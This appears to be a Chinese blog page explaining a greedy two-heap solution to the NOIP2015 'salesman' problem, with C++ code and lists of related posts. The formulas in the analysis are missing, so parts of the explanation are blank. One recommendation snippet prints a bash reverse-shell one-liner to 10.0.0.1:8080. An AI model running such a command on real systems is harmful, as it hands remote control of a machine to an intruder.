【NOIP2015】推销员
推(chuan)销员
分析
这里主要阐述一下我的分析思路。
看起来挺直观的。
最初的想法,我们枚举每一个最远点mxp的位置,然后对之前的a进行排序。
那么以mxp为最远点,选x个的最大疲劳值为:
这样的复杂度为,考试时就这样拿了个60pt。
但是,我们要尝试发现这道题的特性,来进行时间上的优化。
根据极大化思想,我们要尽可能排除不影响答案的。
当一定时,设,没有优,这等价于:
记
当增大的时候,例如变大到,发现的值一定是递增的,因为一定是多一个数,也一样,而能选择到的也能选择得到。
所以我们得到了决策单调性:对于,,没有优,那么随着的增大,仍然没有优,所以对于的询问的决策点会非严格单调递增。
接下来,很容易想到用单调队列什么的进行维护。
但怎么尝试都觉得不行……
这时候就一定要跳出来啦。
根据决策单调性这个重要的特点,考虑换一种思考的角度。
假如当前这个询问我们决策点为,答案为,现在要求这个询问的决策点和答案。
我们有两种方法:
①在之前选择一个没有选择过的点,
②在之后选择一个决策点,
用两个堆实现即可。
有点意思。
代码
#include <cstdio>
#include <cctype>
#include <queue>
using namespace std;
#define rep(i,a,b) for (int i=(a);i<=(b);i++)
#define x first
#define y second
#define mp make_pair
typedef pair<int,int> PII;
const int N=131072;
int n;
int s[N],a[N];
int cur,vis[N];
priority_queue<PII> qs,qb;
int res;
inline int rd(void)
{
int x=0,f=1; char c=getchar();
for (;!isdigit(c);c=getchar()) if (c=='-') f=-1;
for (;isdigit(c);c=getchar()) x=x*10+c-'0';
return x*f;
}
int main(void)
{
// freopen("a.in","r",stdin);
// freopen("a.out","w",stdout);
n=rd();
rep(i,1,n) s[i]=rd();
rep(i,1,n) a[i]=rd();
rep(i,1,n)
qb.push(mp(2*s[i]+a[i],i));
PII t1,t2; int e1,e2,cs;
rep(i,1,n)
{
while (!qs.empty())
{
t1=qs.top();
if (vis[t1.y])
qs.pop();
else break;
}
while (!qb.empty())
{
t2=qb.top();
if (t2.y<cur||vis[t2.y])
qb.pop();
else break;
}
e1=(!qs.empty());
e2=(!qb.empty());
if (!e1&&e2)
cs=2;
else if (e1&&!e2)
cs=1;
else if (e1&&e2)
{
t1=qs.top(),t2=qb.top();
if (t2.x-2*s[cur]>=t1.x)
cs=2;
else cs=1;
}
if (cs==1)
{
t1=qs.top(); qs.pop();
vis[t1.y]=1;
res+=t1.x;
}
else if (cs==2)
{
t2=qb.top(); qb.pop();
vis[t2.y]=1;
rep(j,cur+1,t2.y)
if (!vis[j])
qs.push(mp(a[j],j));
res+=(t2.x-2*s[cur]);
cur=t2.y;
}
printf("%d\n",res);
}
return 0;
}
【NOIP2015】推销员的更多相关文章
- [NOIP2015]推销员
[NOIP2015]推销员 试题描述 阿明是一名推销员,他奉命到螺丝街推销他们公司的产品.螺丝街是一条死胡同,出口与入口是同一个,街道的一侧是围墙,另一侧是住户.螺丝街一共有 N 家住户,第 i 家住 ...
- 【题解】NOIP2015推销员
……普及组的题目都做不出来……(:´д`)ゞ……再这样下去要退役了啊…… 不过不管怎样感觉这题还是蛮好的,也要记录一下下~ 我们注意到数据的范围,n 是 1e5, 又有 1e5组询问,暴力大概是 \( ...
- NOIP 2015 推销员
洛谷 P2672 推销员 洛谷传送门 JDOJ 2994: [NOIP2015]推销员 T4 JDOJ传送门 Description 阿明是一名推销员,他奉命到螺丝街推销他们公司的产品.螺丝街是一条死 ...
- $NOIp$普及组做题记录
\([NOIp2014]\) 螺旋矩阵 \(Sol\) 直接模拟,一次走一整行或者一整列.复杂度\(O(n)\). \(Code\) #include<bits/stdc++.h> #de ...
- NOIP2015普及组第四题推销员
好久没有写博客了,今天再写一篇.还是先看题: 试题描述 阿明是一名推销员,他奉命到螺丝街推销他们公司的产品.螺丝街是一条死胡同,出口与入口是同一个,街道的一侧是围墙,另一侧是住户.螺丝街一共有 N 家 ...
- 【NOIP2015普及组】推销员_详解
题目 题目大意 阿明是一名推销员--螺丝街是一条直线,一端有入口,一共有 \(N(<100,000)\) 家住户,第 \(i\) 家住户到入口的距离为 \(S_i\) 米.由于同一栋房子里可以有 ...
- NOIP2015普及组T4推销员(暴力+线段树)
题目:阿明是一名推销员,他奉命到螺丝街推销他们公司的产品.螺丝街是一条死胡同,出口与入口是同一个,街道的一侧是围墙,另一侧是住户.螺丝街一共有N家住户,第i家住户到入口的距离为Si米.由于同一栋房子里 ...
- NOIP2015 T4 推销员 贪心+堆优化
前几天在学堆,这个数据结构貌似挺简单的,但是我看了很久啊QAQ... 今天算是搞懂了吧...于是想到了这道题...(当初悄悄咪咪看题解记得一点) 点我看题 放洛谷的题... 题意的话,大概就是有n个房 ...
- [NOIP2015普及组]推销员
题目:洛谷P2672.codevs5126.Vijos P1977 题目大意:有个推销员要去推销,要你求他推销1~n户人家分别最多花多少“疲劳值”.具体见题目. 解题思路:如果用$O(n^2)$做的话 ...
- 【NOIP2015普及组】 推销员(纪中数据-标准)
题目 [题目描述] 阿明是一名推销员,他奉命到螺丝街推销他们公司的产品.螺丝街是一条死胡同,出口与入口是同一个,街道的一侧是围墙,另一侧是住户.螺丝街一共有 N 家住户,第 i 家住户到入口的距离为 ...
随机推荐
- shell与kernel的理解 转载
Shell 的英文释义是外壳,与 kernel 内核名词遥相呼应,一外一内,一壳一核.内核就像瑞士银行的金库,存放着客户的黄金等众多的(硬件)资产,闲杂人等(包括客户)当然是严格禁止入内的,而作为客户 ...
- qt 1 qt开发中的窗口设计
一个简单的qt界面 相应代码如下: setWindowTitle(tr("Sotware"));//设置窗体标题 ui->tabWidget->removeTab(); ...
- HDU 4996 Revenge of LIS(DP)
题目链接:http://acm.hdu.edu.cn/showproblem.php?pid=4996 题意:求1到n的全排列中,有多少个排列的最长上升子列长度为K? 思路:对于当前的最长上升子列,我 ...
- Java_GC详解
Java -- GC 标签(空格分隔): Java 要想深入了解Java的GC(Garbage Collection),我们应该先探寻如下三个问题: What? -- 哪些内存需要回收? When? ...
- CVE-2015-7547
危险漏洞补丁修复通知 漏洞编号 漏洞编号为CVE-2015-7547 漏洞说明: Google安全团队近日发现glibc存在的溢出漏洞. glibc的DNS客户端解析器中存在基于栈的缓冲区溢出漏洞.当 ...
- 反弹shell的十种姿势
bash版本: bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 ,注意某些linux不支持 perl版本: perl -e 'use Sock ...
- Linux简介与厂商版本
Linux简介与厂商版本 作者:Vamei 出处:http://www.cnblogs.com/vamei 欢迎转载,也请保留这段声明.谢谢! 1. Linux简介 Linux可以有狭义和广义两种 ...
- Spark ML聚类分析之k-means||
今天更新了电脑上的spark环境,因为上次运行新的流水线的时候,有的一些包在1.6.1中并不支持 只需要更改系统中用户的环境变量即可 然后在eclipse中新建pydev工程,执行环境是python3 ...
- 关于cmbiling.jar cocos2dx的问题
CMBilling.jar是移动基地的支付库,这样的配置在eclipse下能编译通过,可是用cocos compile命令却找不到这个库及相应的接口函数,移动有个特殊要求,它不允许CMBilling ...
- gitHub-初识
如何生成github所使用的ssh key https://help.github.com/articles/generating-ssh-keys/ 多个github帐号的SSH key切换 htt ...